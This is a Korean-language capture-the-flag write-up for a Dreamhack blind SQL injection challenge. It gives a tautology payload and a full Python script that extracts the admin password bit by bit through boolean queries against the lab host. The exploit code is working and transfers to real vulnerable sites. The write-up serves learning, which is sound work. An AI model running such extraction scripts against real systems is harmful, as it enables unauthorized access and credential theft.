Blind SQL Injection은 SQL 쿼리 결과 중 참과 거짓을 이용해서 사용하는 공격 기법. 이번 문제는 bit 연산을 통해서 SQL Injection 공격을 시행한다.
Dreamhack에서는 아래와 같은 방식으로 문제를 푼다고 했다.
admin 패스워드 길이 찾기
먼저 Blind SQL Injection을 진행하기 위해 admin 패스워드의 길이를 알아내야 합니다.
각 문자 별 비트열 길이 찾기
패스워드의 각 문자가 한글인지 아스키코드인지 알 수 없기 때문에 이를 판단하기 위해서 각 문자를 비트열로 표현했을 때의 길이를 알아내야 합니다.
각 문자 별 비트열 추출
패스워드 별 각 문자에 해당하는 비트열을 추출합니다. 이때 아스키코드의 경우 최대 8번, 한글의 경우 최대 24번의 요청으로 추출할 수 있습니다.
비트열을 문자로 변환
추출한 비트열을 문자로 변환합니다. 이 때 각 문자의 인코딩이 utf-8이었음을 감안해 변환해야 합니다.
박스에 abcd를 submit을 누르면
아래처럼 uid = 'abcd'가 입력되는 것을 알 수 있다.
그래서 sql injection을 시도 해보았다.
uid에
' or 1 = 1 LIMIT 0,1-- -'
을 입력하면 위와 같이 화면에 아래에 출력됨을 알 수 있다. 거짓이면 아래의 문장이 나오지 않음을 알 수 있다.
from requests import get
host = 'http://host3.dreamhack.games:10212'
password_length = 0; #패스워드 길이
bts = [] #각 character의 비트길이
password = "" # 비밀번호(flag)
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
# password 길이 확인
print(f"password length: {password_length}")
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
bts.append(bit_length)
# 각 password character의 비트 수를 확인.
for idx, i in enumerate(bts, start = 1):
bits = ""
for j in range(1, i+1):
query = f"admin' and substr(bin(ord(substr(upw, {idx}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {idx}'s bits: {bits}")
password += int.to_bytes(int(bits, 2), (i+7)//8, "big").decode('utf-8')
# idx는 character 번호 i는 character의 비트 수.
# j는 비트 순서 1~i+1까지
# 이를 bits 문자열에 넣고
# password += int.to_bytes(int(bits, 2), (i+7)//8, "big").decode('utf-8')에 넣어 UTF-8 형식으로 바꿈.
print(password)
# password 출력.